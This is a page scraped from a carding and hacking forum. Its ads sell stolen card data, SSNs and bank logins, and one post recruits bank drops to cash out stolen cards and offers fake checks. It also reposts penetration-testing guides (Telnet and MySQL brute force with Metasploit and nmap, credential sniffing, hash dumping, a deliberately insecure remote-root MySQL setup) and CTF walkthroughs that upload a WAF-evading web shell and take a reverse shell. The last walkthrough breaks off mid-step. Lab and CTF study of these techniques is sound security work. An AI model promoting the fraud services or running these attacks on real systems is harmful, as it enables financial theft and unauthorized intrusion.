Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis





PLACE YOUR TEXT HERE FOR ADVERTISE
PLACE YOUR TEXT HERE FOR ADVERTISE
CC+CVV Private Base Wholesale & Retail | 200+ Countries | Rare BINs
Best CC Shop Daily Updates | 200+ Countries | High Quality | 24/7 Fast Support
BlackBet.cc Banks, Shops, Real Docs, SSN+DOB, PayPal, GVoice/Gmail, Lookups








>PLACE TEXT ADVERTISING HERE< &PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE<



Announcement : Black Hat Forum is one of the Best Black Hat Carding Forum welcome you. We will share great stuff for our loved members, hope you enjoy your stay on our Black Hat Forum and you will return to us EVERYDAY. Stay Safe Enjoy Blackhat Carding Forum.


Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads
STUFF CC – BEST CC SHOP
1 hour ago

Last post by StuffCC
Vn5socks.net - Service Se...
5 hours ago

Last post by FireHeaven
Shopsocks5.com - Service ...
Yesterday, 12:42 PM

Last post by shopsocks5.com
Secretline.top @StarLinkC...
11-08-2026, 03:45 AM

Last post by Max097
Secretline.top @StarLinkC...
11-07-2026, 03:35 PM

Last post by Max097
Secretline.top @StarLinkC...
11-06-2026, 03:07 PM

Last post by Max097
[LUPIN ULP] 16.279.483 | ...
11-06-2026, 05:23 AM

Last post by ImLupin
Secretline.top @StarLinkC...
11-06-2026, 05:20 AM

Last post by Max097
Secretline.top @StarLinkC...
11-05-2026, 05:12 PM

Last post by Max097
⚡[350M] - UHQ ULP || URL:...
11-05-2026, 02:17 PM

Last post by eaglecloudofficial

 
  hello
Posted by: stevven - 05-12-2020, 10:31 AM - Forum: Hello World! - Replies (1)

hello guys new here hope i find more interesting deals here--.


  Why not install Brave Browser today?
Posted by: hacxx - 05-10-2020, 06:05 PM - Forum: Hacking Tools - No Replies

[Image: 3woo5ks.jpg]

Brave Browser is the ultimate browser for the internet, it has all the features that other chromium based browser have like extensions and addons plus inbuild tor, download and torrent manager. It has a easy interface which makes it more easier to learn and use.

One of the useful features of Brave Browser is the inbuild tor browser that gives access to the Dark Web as well to any onion website including all the protections that tor provides. Using this feature with download or torrent manager will turn your downloads impossible to be tracked.

Brave Browser has it own crypto currency. Crypto isn't anything new as it has been around from some years now and most internet users nowadays own crypto. The crypto used by Brave Browser is BAT which stand for Basic Attention Token and after the user install Brave Browser the browser will start showing brave ads and once the user click on those ads the user will be rewarded with BAT. To cashout it only require a minimum of 5 BATs ($1) and a confirmed account with UpHold.

Brave Ads is a way for users using Brave Browser to make some cash as it doesn't require any action from the user on the advertised site, only it require is a click in the push notification. A user can keep the BAT to cashout later or reward webmasters by tipping them.

Download:

[To see content please register here]


  Loading Usa bank drops and credit cards, 20k+ cash
Posted by: Coinbase2020 - 05-10-2020, 10:43 AM - Forum: I Service - No Replies

Hi y'all, I'm looking for USA bank drops and credit to fund with cash, we split on cashout. Pm me on icq @lordpablo if you got drops. I also ship high quality checks for cashout.


  Hello
Posted by: Otfrns - 05-10-2020, 08:38 AM - Forum: Hello World! - No Replies

Hello i am new here all Smile nice to meet you


  [Guide] How to Penetration Testing on Telnet (Port 23)
Posted by: NINZA - 05-10-2020, 05:30 AM - Forum: Carders Home - No Replies

Welcome to Internal penetration testing on telnet server where you will learn about telnet installation, configuration, enumeration and attack, system security and precaution.
From Wikipedia
Telnet is a protocol used on the Internet or local area networks to provide a bidirectional interactive text-oriented communication facility using a virtual terminal connection. This protocol is used to establish a connection to Transmission Control Protocol (TCP) port number 23, where a Telnet server application (telnetd) is listening.
Let’s start!!!
Requirements
Telnet Server: Ubuntu
Attacker system: Kali Linux
Telnet Installation & Configuration in 3 steps
Installing telnet server is very simple, it will get activated by following three steps:
Open the terminal in Ubuntu and type given below command with root access.
apt-get install xinetd telnetd
1
apt-get install xinetd telnetd

[Image: 1.png?w=687&ssl=1]
Open ineted.conf file adds given below statement inside it, then save it.
gedit /etc/inetd.conf
1
gedit /etc/inetd.conf


telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd
1
telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd

[Image: 2.png?w=687&ssl=1]
Now open xibetd.conf and add the following line to configure the settings and save it.
gedit /etc/xinetd.conf
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
# Please note that you need a log_type line to be able to use log_on_success
# and log_on_failure. The default is the following :
# log_type = SYSLOG daemon info
instances = 60
log_type = SYSLOG authpriv
log_on_success = HOST PID
log_on_failure = HOST
cps = 25 30
}
includedir /etc/xinetd.d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
# Please note that you need a log_type line to be able to use log_on_success
# and log_on_failure. The default is the following :
# log_type = SYSLOG daemon info
instances = 60
log_type = SYSLOG authpriv
log_on_success = HOST PID
log_on_failure = HOST
cps = 25 30
}
includedir /etc/xinetd.d

[Image: 3.png?w=687&ssl=1]
Now execute the following command to restart the service.
sudo /etc/init.d/xinetd restart
1
sudo /etc/init.d/xinetd restart

[Image: 4.png?w=687&ssl=1]
Now you can ensure whether telnet service is getting activated or not and for this we have scanned our own system with nmap.
nmap –p 23 127.0.0.1
1
nmap –p 23 127.0.0.1

If service is activated in the targeted server then nmap show open STATE for port 23.
[Image: 5.png?w=687&ssl=1]
SSH Banner grabbing through telnet
Telnet plays an important role in the banner grabbing of other service running on the target system. Open the terminal in Kali Linux and type following command for finding the version of SSH service running on the target machine.
telnet 192.168.0.106 22
1
telnet 192.168.0.106 22

From the given image, you can observe that it has successfully shown the SSH version “2.0-openSSH_6.6.1p1” has been installed on the target machine.
[Image: 6.png?w=687&ssl=1]
SMTP Banner grabbing through telnet
Similarly, we can also find out version and valid user of SMTP server using telnet. Execute the following command and find out its version and valid user.
telnet 192.168.0.106 25
1
telnet 192.168.0.106 25

From the given image you can observe that it has successfully shown “220 mail.ignite.lab ESMTP Postfix” has been installed on the target machine.
You can guess for valid user account through the following command and if you receive response code 550 it means unknown user account:
vrfy [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login

If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.
But if you received a message code 550 it means invalid user account as shown in given image
vrfy [email protected]
1
vrfy [email protected]

[Image: 7.1.png?w=687&ssl=1]
Telnet Banner Grabbing through Metasploit
An attacker always performs enumeration for finding important information such as software version which is known as Banner Grabbing and then identifies its state of vulnerability against any exploit.
Open the terminal in your Kali Linux and Load Metasploit framework; now type the following command to scan for TELNET version.
use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.0.106
msf auxiliary(telnet_version) > set rport 23
msf auxiliary(telnet_version) >set threads 5
msf auxiliary(telnet_version) > exploit

1
2
3
4
5

use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.0.106
msf auxiliary(telnet_version) > set rport 23
msf auxiliary(telnet_version) >set threads 5
msf auxiliary(telnet_version) > exploit

From the given image you can read the installed version of TELNET on the target’s system.
[Image: 7.png?w=687&ssl=1]
Brute Force Attack
An attacker always tries to make a brute force attack for stealing credential for unauthorized access.
This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Now type the following command to Brute force TELNET login:
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 192.168.0.106
msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit

1
2
3
4
5
6

use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 192.168.0.106
msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit

From given image you can observe that our TELNET server is not secure against brute force attack because it is showing a matching combination of username: raj and password: 123 for login simultaneously it has opened victims command shell as session 1.
[Image: 8.png?w=687&ssl=1]
From the given image you can see now we have unauthorized access on the victim’s system as raj@ignite and executed ifconfig to verify the network interface.
[Image: 9.png?w=687&ssl=1]
We can also convert command shell into the meterpreter shell using the following command
sessions -u 1
1
sessions -u 1

From the given image you can see that now we are having two sessions; 1st for command shell session and 2nd for the meterpreter session.
[Image: 10.png?w=687&ssl=1]
Stealing credential through sniffing
Telnet, by default, does not encrypt any data sent over the connection (including passwords), and so it is often feasible to eavesdrop on the communications and use the password later for malicious purposes; anybody who has access the network between the two hosts where Telnet is being used can intercept the packets passing between source and destination and obtain login, password and data information.
From the given image, you can observe that here the client is login into telnet server by submitting valid credential on the other hand attacker is sniffing network packet using Wireshark or other tools.
[Image: 11.1.png?w=687&ssl=1]
Here you can notice Wireshark had captured telnet information by sniffing the network. It follows a similar protocol as FTP where telnet users may authenticate themselves with a clear-text sign-in protocol for username and password. As result attacker can easily sniff login credential.
[Image: 11.png?w=687&ssl=1]
From given below image you can read the username: raj and password: 123 moreover complete information traveling through packet between source to destination.
Since Telnet implementations do not support Transport Layer Security (TLS) security and Simple Authentication and Security Layer (SASL) authentication extensions. Therefore in favor of that the Secure Shell (SSH) protocol, first released in 1995 in replace of Telnet.
[Image: 12.png?w=687&ssl=1]
Secure Telnet through Port forwarding
In order to secure telnet server, admin can forward port from default to specific port to run the service. Open services file using the following command for making changes:
gedit /etc/services
1
gedit /etc/services

From the given image you can perceive that telnet default uses port 23 for its services; change the port number for telnet service.
[Image: 13.png?w=687&ssl=1]
From given below image you can compare that we had changed port 23 with 2323, now restart the service.
service xinetd restart
1
service xinetd restart

[Image: 14.png?w=687&ssl=1]
Verify it using nmap command as given below:
nmap -p 2323 –sV 192.168.0.106
1
nmap -p 2323 –sV 192.168.0.106

[Image: 15.png?w=687&ssl=1]
Secure telnet against brute force attack
You can secure telnet server against brute force and from unauthorized access by adding a filter using Iptable. Allow only specific IP address to establish a connection with the telnet server and reject or drop the connection from other IP addresses.
Now type the following command with root permission to add the filter for telnet in iptables.
iptables –A INPUT –s 192.168.0.104 –p tcp --dport 23 –j ACCEPT
1
iptables –A INPUT –s 192.168.0.104 –p tcp --dport 23 –j ACCEPT

Above command will allow the traffic from IP address 192.168.0.104 to access the telnet service on port 23.
iptables –A INPUT –p tcp --dport 23 –j DROP
1
iptables –A INPUT –p tcp --dport 23 –j DROP

Above command with drop the service for traffic coming from other IP addresses on port 23.
Restart the service once you add a filter in iptables
sudo /etc/init.d/xinetd restart
1
sudo /etc/init.d/xinetd restart

[Image: 16.png?w=687&ssl=1]
Let verify the working of Ipatble by connecting to telnet server from client machine holding IP address 192.168.0.104.
Great!! Connection established successfully.
You can confirm it from given below image.
[Image: 17.png?w=687&ssl=1]
Let’s verify the working of Ipatble by connecting to the telnet server from attacker machine holding different IP address.
From given below image you can see nothing is happening here because port 23 is down for all other IP addresses
Awesome!! It means if the attacker sniffs the valid credential even then won’t be able to access the telnet server.
[Image: 18.png?w=687&ssl=1]

In this article, we are discussing MYSQL penetration testing using Nmap where you will learn how to retrieve database information such as database name, table’s records, username, password and etc.
MySQL is an open Source for Relational Database Management System that uses structured query language for generating database record.
Let’s Begin !!!
Scanning for port 3306
open the terminal and type following command to check MySQL service is activated on the targeted system or not, basically MySQL service is activated on default port 3306.
nmap -sT 192.168.1.216
1
nmap -sT 192.168.1.216

From the given image you can observe port 3306 is open for MySQL service, now let’s enumerate it.
[Image: 1.png?w=687&ssl=1]
Retrieve MySQL information
Now type another command to retrieve MySQL information such as version, protocol and etc:
nmap --script=mysql-info 192.168.1.216
1
nmap --script=mysql-info 192.168.1.216

Above command try to connect to with MySQL server and hence prints information such as the protocol: 10, version numbers: 5.5.57 -0 ubuntu0.14.04.1, thread ID: 159, status: auto-commit, capabilities, and the password salt as shown in given below image.
[Image: 2.png?w=687&ssl=1]
Brute force attack
This command will use the dictionary for username and password and then try to match the username and password combination by making brute force attack against mysql.
nmap -p3306 --script=mysql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.216
1
nmap -p3306 --script=mysql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.216

From the given image you can observe that it found the valid credential root: toor. This credential will help indirectly login into MYSQL server.
[Image: 3.png?w=687&ssl=1]
Retrieve MySQL usernames
This command will fetch MySQL users name which helps of given argument MySQL user root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor

From given below image you can see we had found four usernames: root, Debian-sys-maint, sr, st.
[Image: 4.1.png?w=687&ssl=1]
Retrieve database names
This command will fetch MySQL database name which helps of given argument mysqluser root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor

From given below image you can read the name of created database such as ignite
[Image: 4.2.png?w=687&ssl=1]
This command will also perform the same task as above but retrieve database name using MySQL query “show database”
nmap -p 3306 192.168.1.216 --script=mysql-query --script-args "query=show databases,username=root,password=toor"
1
nmap -p 3306 192.168.1.216 --script=mysql-query --script-args "query=show databases,username=root,password=toor"

From given below image you can read the name of created database such as ignite
[Image: 4.png?w=687&ssl=1]
Retrieve MySQL variable status ON/OFF
When we want to pass a value from one SQL statement to another SQL statement, then we store the value in a MySQL user-defined variable.
This command will fetch MySQL variables name which help of given argument mysqluser root and mysqlpass toor.
nmap -p3306 192.168.1.216 --script=mysql-variables --script-args mysqluser=root,mysqlpass=toor
1
nmap -p3306 192.168.1.216 --script=mysql-variables --script-args mysqluser=root,mysqlpass=toor

From the given image you can observe ON/OFF status for MySQL variable.
[Image: 6.png?w=687&ssl=1]
Retrieve Hash Dump
This command will Dumps the password hashes from a MySQL server in a format suitable for cracking by tools such as John the Ripper.
nmap -p3306 192.168.1.216 --script=mysql-dump-hashes --script-args username=root,password=toor
1
nmap -p3306 192.168.1.216 --script=mysql-dump-hashes --script-args username=root,password=toor

From the given image you can observe that it has dumped the hash value of passwords of the respective user which we have enumerated above.
[Image: 8.png?w=687&ssl=1]

In this article, we will learn to make MySQL port vulnerable and then secure it for the penetration testing on the port 3306. In order to completely learn and understand how to secure service on a port, you have to understand how to make it vulnerable and then perform penetration testing. Because if you don’t understand what can be exploited and how then you will always fail to secure it.
Table of Content

  • Introduction to MySQL-Server
  • Installation of MySQL-Server
  • Pen testing MySQL-Server
Introduction to MySQL-Server
The base of MySQL will be MySQL server, which handles the majority of the database guidelines (or directions). MySQL server is accessible as a different program for use in a customer server organized condition and as a library that can be implanted (or connected) into separate applications. MySQL works alongside a few utility projects which bolster the organization of MySQL databases. Directions are sent to MySQL-Server by means of the MySQL customer, which is introduced on a PC. It runs port 3306 by default.
Installation of MySQL-server
The first thing to do is to install MySQL server and to do so use the following command :
apt install mysql-server
1
apt install mysql-server

[Image: 1.png?w=687]
Further, use the following command to check whether the server is up and running or not.
netstat -tnl
1
netstat -tnl

[Image: 2.png?w=687]
Pentesting MySQL-Server
Scanning Mysql & Connecting to Mysql
Now, as you can see the MySQL server is properly working. But if you will scan the port, it will show you that it’s closed.
nmap -p3306 192.168.1.108
1
nmap -p3306 192.168.1.108

[Image: 3.png?w=687]
This port is closed because as it is running on the local address when scanned with any other IP then it will show you that the port is closed when this is not the case. This happens because of the default setting in the configuration’s files of MySQL, the bind address is 127.0.0.1 i.e. the port will be shown open only if you scan from this IP just like shown in the image below. And to make this change open the configuration file using the following command:
nano /etc/mysql/mysql.conf.d/mysqld.cnf
1
nano /etc/mysql/mysql.conf.d/mysqld.cnf

[Image: 4.png?w=687]
To change this setting, just add ‘#’ in front of the ‘bind-address’ as shown in the image below :
[Image: 5.png?w=687]
Now if you scan it, it will show you that the port is open.
nmap -p3306 192.168.1.108
1
nmap -p3306 192.168.1.108

But further if you try to login through this port, it will give you an error. This happens because the MySQL server does not grant privileges to other IP’s to do their bidding.
[Image: 6.png?w=687]
This error can be removed when you login into the MySQL server and run the following commands which will grant all permission to the root user at when login from different IP :
GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY '123';
FLUSH PRIVILEGES;

1
2

GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY '123';
FLUSH PRIVILEGES;

[Image: 7.png?w=687]
Now, when you try and login, you will be successful as shown in the image below:
[Image: 8.png?w=687]
Let’s scan the port again to grab as many details as we can such as its banner. Mac address, etc.
nmap -sv -p3306 192.168.1.108
1
nmap -sv -p3306 192.168.1.108

[Image: 9.png?w=687]
Mysql Brute-Force Attack
One can also brute force the port by using Metasploit. This module simply queries the MySQL instance for a specific user/pass for this, go to the terminal in kali and type ‘msfconsole’ and then use the following commands to commence the brute force login:
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.1.108
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

1
2
3
4
5

use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.1.108
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

[Image: 10.png?w=687]
Running SQL queries without Login into Mysql
This module allows for simple SQL statements to be executed against a MySQL instance given the appropriate credentials. For this, type :
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.162.1.108
set username root
set password 123
set sql show databases
exploit

1
2
3
4
5
6

use auxiliary/admin/mysql/mysql_sql
set rhosts 192.162.1.108
set username root
set password 123
set sql show databases
exploit

[Image: 11.png?w=687]
Extract Mysql-Schemadump Information
Our next module extracts the schema information from a MySQL DB server. For this exploit, type :
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.1.108
set username root
set password 123
exploit

1
2
3
4
5

use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.1.108
set username root
set password 123
exploit

[Image: 12.png?w=687]
Extracting Login from Mysql-server
And to extracts the usernames and encrypted password hashes from a MySQL server and stores them for later cracking; use the following exploit :
use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.1.108
set username root
set password 123
exploit

1
2
3
4
5

use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.1.108
set username root
set password 123
exploit

[Image: 13.png?w=687]
Once the above module is completed, you see it result in the file it creates as shown in the image below:
[Image: 14.png?w=687]
Checking Writable Directories
Another attack that can be executed on Mysql port is to check the directories that are writable. But by default, this attack cannot be performed. So, admin, the has done following the configuration then an attacker can check for directories that are writable.
nano /etc/mysql/mysql.conf.d/mysqld.cnf
1
nano /etc/mysql/mysql.conf.d/mysqld.cnf

Then add ‘secure_file_priv=”” at the end of the file.
[Image: 15.png?w=687]
Now if you run the following exploit through Metasploit, it will allow you to Enumerate writeable directories using the MySQL SELECT INTO DUMPFILE feature.
use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.1.108
set username root
set password 123
set dir_list /root/dir.txt
exploit

1
2
3
4
5
6

use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.1.108
set username root
set password 123
set dir_list /root/dir.txt
exploit

[Image: 16.png?w=687]
Enumerating File
For further pentesting MySQL port, you can use the following exploit for Enumerate files and directories using the MySQL load_file feature.
use auxiliary/scanner/mysql/mysql_file_enum
set rhosts 192.168.1.108
set username root
set password 123
set file_list /root/dir.txt
exploit

1
2
3
4
5
6

use auxiliary/scanner/mysql/mysql_file_enum
set rhosts 192.168.1.108
set username root
set password 123
set file_list /root/dir.txt
exploit

[Image: 17.png?w=687]
Port Transferring
Next comes port forwarding. This method is used in order to secure the port from the attacks. For port forwarding, just open the configuration by using the following command:
nano etc/mysql/mysql.conf.d/mysqld.cnf
1
nano etc/mysql/mysql.conf.d/mysqld.cnf

And then change the port number to whichever you desire. For instance, we have given here in 4033.
[Image: 18.png?w=687]
After changing the port, when you scan it, it will show you the SQL service is running on the new port instead of the default one.
[Image: 19.png?w=687]
So, this way to learn how to exploit and secure MySQL-Server.

Hello friends! Today we are going to take another CTF challenge known as thewall. The credit for making this vm machine goes to “Xerubus” and it is another boot2root challenge where we have to root the VM to complete the challenge. You can download this VM

[To see content please register here]

.

Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.17 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]
We did a nmap scan but it showed nothing. So we use arp to check if it is broadcasting anything.
arp –an
[Image: 2.png?w=687&ssl=1]
We found that it is broadcasting something on the network, so we use wireshark to check at which port it is broadcasting the data.
[Image: 3.png?w=687&ssl=1]
We found that it is broadcasting something at port 1337 so we use netcat to listen at port 1337.
nc –lvp 1337
[Image: 4.png?w=687&ssl=1]
We found it was broadcasting something related to pink Floyd, we again do a nmap scan to check if it affected anything.
nmap -sV 192.168.0.17
[Image: 5.png?w=687&ssl=1]
As we can see that port 80 is open, so we open this ip in our browser.
[Image: 6.png?w=687&ssl=1]
We take a look at the source code of the browser and find a hexadecimal encoded string.
[Image: 7.png?w=687&ssl=1]
When we decode it we find a md5 encoded string and hint to do stegnography.
[Image: 8.png?w=687&ssl=1]
We decode the md5 encoded string and found a string called divisionbell.
[Image: 9.png?w=687&ssl=1]
We download the image from the webpage and using steghide we check if something is hidden behind the image. When try to extract information it prompts for password using the string we decoded above we are able to find that a text file is hidden behind the image and are able to extract it.
steghide –info pink_floyd.jpg
steghide extract –sf pink_floyd.jpg
[Image: 10.png?w=687&ssl=1]
When we open the text file we find a base64 encoded string and md5 encoded string and a hint to use it at port 1965.
[Image: 11.png?w=687&ssl=1]
First we decode the base64 encoded string and found the string SydBarret.
[Image: 12.png?w=687&ssl=1]
Then we decode the md5 encoded string and found the string pinkfloydrocks.
[Image: 13.png?w=687&ssl=1]
Port enumeration on 1965 shows it is running openssh, we check if we can login using this as username:SydBarret and password:pinkfloydrocks.
[Image: 14.png?w=687&ssl=1]
When we try to login it shows us that we can only connect through sftp. So we use SydBarrett as username and pinkfloydrocks as password to login through sftp.
[Image: 15.png?w=687&ssl=1]
Now that we are inside, we find a file called eclipsed_by_the_moon, we download it to our system.
[Image: 16.png?w=687&ssl=1]
We check what kind of file it is, we find that it is a zip file, we extract it using tar.
file eclipsed_by_the_moon
tar xvfz eclipsed_by_the_moon
[Image: 17.png?w=687&ssl=1]
After extracting the file, we check what kind of file it is and find that it is a boot sector.
file eclipsed_by_the_moon.lsd
[Image: 18.png?w=687&ssl=1]
We check if we can recover any file inside the boot sector using testdisk.
testdisk eclipsed_by_the_moon.lsd
We select the image to recover files from.
[Image: 19.png?w=687&ssl=1]
We select none portioned media as it is a boot sector.
[Image: 20.png?w=687&ssl=1]
We go to advanced to recover file from the image.
[Image: 21.png?w=687&ssl=1]
We then select the partition in which we want to extract the file from and select undelete to recover the files.
[Image: 22.png?w=687&ssl=1]
We find that an image file is recovered, we copy it.
[Image: 25.png?w=687&ssl=1]
We select the directory of our system in which we want to copy the file.
[Image: 26.png?w=687&ssl=1]
We check the image we just recovered and find the picture of Roger Waters, we also got a password inside the image.
[Image: 28.png?w=687&ssl=1]
We login trough ssh, enumerating the username we find that RogerWaters is the username and password is hello_is_there_anybody_in_there.
After getting in, we find that there are different directory for different users of pink floyd band members.
ls -al
[Image: 36.1.png?w=687&ssl=1]
We also find that we have limited access and cannot access their directories so we check for binaries available to other users and find that user NickMason and DavidGilmour have binaries called brick and shineon available to them.
find / -user DavidGilmour 2>/dev/null
find / -user NickMason 2>/dev/null
[Image: 36.png?w=687&ssl=1]
We don’t have access to run the binary shineon but when we run brick it asks us a question. When we answer it correctly we become the user NickMason.
[Image: 37.png?w=687&ssl=1]
Now we can access the directory NickMason/. We find an image file inside we use scp to send it to our local system.
scp nick_mason_profile_pic.jpg [email protected]:/root/Desktop
[Image: 38.png?w=687&ssl=1]
We check the file type and find that it is an audio file. We change the file from .jpg to .ogg.
[Image: 39.png?w=687&ssl=1]
When we listen to the audio, we find that morse code is also playing in the background along with the music. We cut the frequency of the audio to retrieve the morse code.
[Image: morse.png?w=687&ssl=1]
.-. .. -.-. …. .- .-. -.. .– .-. .. –. …. – .—- —-. ….- …– ..-. .. … .-
We find that the morse code translates to richardwright1943farfisa. We use RichardWright as username and 1943farfisa as password to login as user RichardWright.
[Image: 43.png?w=687&ssl=1]
Now we try to run the binary shineon, after running the binary we find that we can change the folder with symbolic link from DavidGilmour to RichardWright.
ln –s /bin/ksh /tmp/mail
export PATH:/tmp:$PATH
When we now run the shineon we become user DavidGilmour.
[Image: 44.png?w=687&ssl=1]
Inside DavidGilmour/ folder we find a link inside the file.
[Image: 45.png?w=687&ssl=1]
When we open this link on the browser we find an image on which something is written.
[Image: 46.png?w=687&ssl=1]
When we decrease the contrast of the image, we find a hexadecimal string.
[Image: 47.png?w=687&ssl=1]
Then we also send an image file that we find inside the DavidGilmour/ folder using scp.
scp david_gilmour_profile_pic.jpg [email protected]:/root/Desktop/
[Image: 48.png?w=687&ssl=1]
We check for strings inside the image file and found string who_are_you_and_who_am_i.
[Image: 49.png?w=687&ssl=1]
Now we use DavidGilmour as username and who_are_you_and_who_am_i as password.
[Image: 50.png?w=687&ssl=1]
We now are in welcometothemachine group; we move inside /var/www/htdocs/welcometothemachine/.
[Image: 51.png?w=687&ssl=1]
We find a file called PinkFloyd, we run the file and find it asks a question. We use the hexadecimal string inside the image we find on the webpage.
[Image: 52.png?w=687&ssl=1]
Now we are given the permission to get root, as DavidGilmour is added into sudoers after running this program.
[Image: 53.png?w=687&ssl=1]
Now when we enter root/ directory and we find the flag stating the end of the VM challenge.
[Image: 54.png?w=687&ssl=1]


  [Guide] How to Hack the IMF VM (CTF Challenge)
Posted by: NINZA - 05-10-2020, 05:28 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to take another CTF challenge known as IMF. The credit for making this vm machine goes to “Geckom” and it is another CTF challenge where we have to find 6 flags to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.25 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]
Use nmap for port enumeration
nmap -sV  192.168.0.25
[Image: 2.png?w=687&ssl=1]
We find port 80 is open, so we open the ip address in our browser.
[Image: 3.png?w=687&ssl=1]
We take a look at our source code and found a few javascript files that look like base64 encoded.
[Image: 4.png?w=687&ssl=1]
We open them and find nothing interesting but when we join their name and decode them we find our 2nd flag.
Inside the flag we find another base64 encode string, decoding it we find a string called imfadministrator.
[Image: 5.png?w=687&ssl=1]
We take a look around the website and in the source code of contact.php page we find our 1st flag.
[Image: 6.png?w=687&ssl=1]
Flag 1 contains a base64 encoded string decoding it we find a string called allthefiles.
We open allthefiles and imfadministrator on the browser. We find that imfadministrator is a directory that leads to a login page.
[Image: 7.png?w=687&ssl=1]
In the contact.php page we found a few email addresses so we use cewl to make a dictionary.
[Image: 8.png?w=687&ssl=1]
We use burpsuite to launch a dictionary attack. We select the position and change the password from string to array.
[Image: 9.png?w=687&ssl=1]
Now we find the third flag in our response, when the login is successful.
[Image: 10.png?w=687&ssl=1]
Now that we can access the page we see that the page might be vulnerable to sql injection.
[Image: 11.1.png?w=687&ssl=1]
Using burpsuite we capture the request of this page and save it in a text file.
[Image: 11.png?w=687&ssl=1]
We use sqlmap to dump the database.
sqlmap -r /root/Desktop/imf.txt –dbs –batch –dump-all
[Image: 12.png?w=687&ssl=1]
We find the name of the pages along with another page called tutorial-incomplete. We open it on our browser and find a page with QR-code inside an image.
[Image: 13.png?w=687&ssl=1]
When we decode the QR-code we our 4th flag.
[Image: 14.1.png?w=687&ssl=1]
Inside our flag we find a base64 encoded string, when we decode it we find a string called uploadr942.php       
We open it on our browser and find a page to upload a file.
[Image: 14.2.png?w=687&ssl=1]
Now while uploading a shell we find that it is protected from WAF, so we create a custom shell and save it as GIF file to bypass the WAF.
[Image: 14.3.png?w=687&ssl=1]
Now we upload the file and check the response from the server to find where our file is uploaded.
[Image: 14.png?w=687&ssl=1]
We find server sends a string in a comment, we find our file is in uploads folder and the comment in the response sent by server is the name of our file.
[Image: 15.png?w=687&ssl=1]
After finding our shell, we find 5th flag. Now we use web_delivery to take reverse shell using metasploit.
[Image: 16.png?w=687&ssl=1]
We setup our metasploit for web delivery and execute the command on our shell.
[Image: 20.png?w=687&ssl=1]
Now that we have the reverse shell we take a look inside 5th flag
[Image: 24.1.png?w=687&ssl=1]
We find a base64 encode string when we decode it we find a string agentservices.
We check the connections of our server using netstat
netstat -antp
[Image: 22.png?w=687&ssl=1]
We found a service running on port 7788, we use curl to find what the server is running on port 7788.
curl localhost:7788
[Image: 23.png?w=687&ssl=1]
We find a service called agent is running so we find the location of agent using which command
which agent
[Image: 24.png?w=687&ssl=1]
When we move into the folder we found a file called access_codes, we open it and find a few numbers. It looks like a sequence for port knock.
So we knock the server and find that port 7788 opened.
Knock 192.168.0.25 7482 8279 9467
[Image: 25.png?w=687&ssl=1]
Now we download agent program file to our system for reverse engineering.
download agent /root/Desktop
[Image: 26.png?w=687&ssl=1]
Now we reverse engineer the file to find an exploit. First we disassemble main function.
gdb -q agent
disassemble main
[Image: 27.png?w=687&ssl=1]
We find that at memory address 80486ba, string compare function takes place so we add a break point there.
[Image: 28.png?w=687&ssl=1]
